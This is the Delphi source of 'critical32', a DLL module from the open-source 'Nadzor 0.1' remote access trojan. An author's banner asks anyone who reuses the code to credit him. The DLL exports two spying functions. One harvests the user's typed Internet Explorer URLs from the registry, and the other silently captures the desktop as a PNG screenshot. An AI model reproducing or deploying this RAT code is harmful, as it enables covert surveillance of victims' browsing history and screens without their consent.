critical32.dpr

Nadzor国外08年7月分先出远控代码

{
*****************************************************
*           Nadzor 0.1 Open Source Release	        *
*		              Coded by: Nuffe            		    *
*						                                        *
*          Special Thx To: Havalito & Codius        *
*		                                    				    *
*****************************************************
*	                                    					    *
*		          !!!PLEASE READ BELOW!!!!              *
*				                                    		    *
*****************************************************
*						    *
* I wrote this RAT when I was in upper secondary    *
* school as a project. It turned out to be a very   *
* handy tool when my friends were poking at me.But  *
* anyway, It took me a year to write this RAT and   *
* it wasn't ment to be released as opensource. But  *
* since I don't have so mutch time to write code,   *
* at least in Delphi, I decided to give away my     *
* work to you guys! BUT, there is a CATCH in this   *
* free give-away.			 	                            *
* 					                                   	    *
* I know that many people rip code and don't give   *
* the authors credit for there hard work (I'm sorry *
* to say that I have also done that in the past).   *
* So what the catch is with this release is that IF *
* You use my code, just put my nick in the "About"- *
* box or someplace where it can be seen! Remember,  *
* authors deserv to be credited!		                *
*					                                     	    *
*    Once again, I am sorry if I have forgot to     *
*                credit authors!	                  *
*****************************************************
}
library critical32;

uses
  Windows, pngimage, Registry, Classes;


function GetHistory : string;
const
 UrlKey = 'Software\Microsoft\Internet Explorer\TypedURLs';
var
 I : TRegistry;
 L : TStringList;
 Z : Integer;
 Tmp : String;
begin
 I := TRegistry.Create;
 L := TStringList.Create;
 With I do
 begin  
  try   
   RootKey := HKEY_CURRENT_USER;
   if OpenKey(UrlKey, false) = true then
     begin
      GetValueNames(L);
      for Z := 0 to L.Count -1 do
        begin
          if (ReadString(L[Z]) <> '') and (Copy(ReadString(L[Z]),1,4) = 'http') then
            Tmp := Tmp + ReadString(L[Z]) + #13#10;
        end;
   end;
  finally
   L.Free;
   CloseKey;
   Free;
  end;
 end;   
Result := Tmp;
end;

function GetDesktopBitmap: HBitmap;
var
  DC, MemDC: HDC;
  Bitmap, OBitmap: HBitmap;
  BitmapWidth, BitmapHeight: integer;
begin
  DC := GetDC(GetDesktopWindow);
  MemDC := CreateCompatibleDC(DC);
  BitmapWidth := GetDeviceCaps(DC, 8);
  BitmapHeight := GetDeviceCaps(DC, 10);
  Bitmap := CreateCompatibleBitmap(DC, BitmapWidth, BitmapHeight);
  OBitmap := SelectObject(MemDC, Bitmap);
  BitBlt(MemDC, 0, 0, BitmapWidth, BitmapHeight, DC, 0, 0, SRCCOPY);
  SelectObject(MemDC, OBitmap);
  DeleteDC(MemDC);
  ReleaseDC(GetDesktopWindow, DC);
  Result := Bitmap;
end;

procedure Capture();
var
PNGObject : TPNGObject;
begin
  PngObject := TPngObject.Create;
  PngObject.AssignHandle(GetDesktopBitmap, False, 0);
  PngObject.CompressionLevel := 9;
  PngObject.SaveToFile('shot.png');
  PngObject.Free;
end;
                
exports Capture;
exports GetHistory;

begin
end.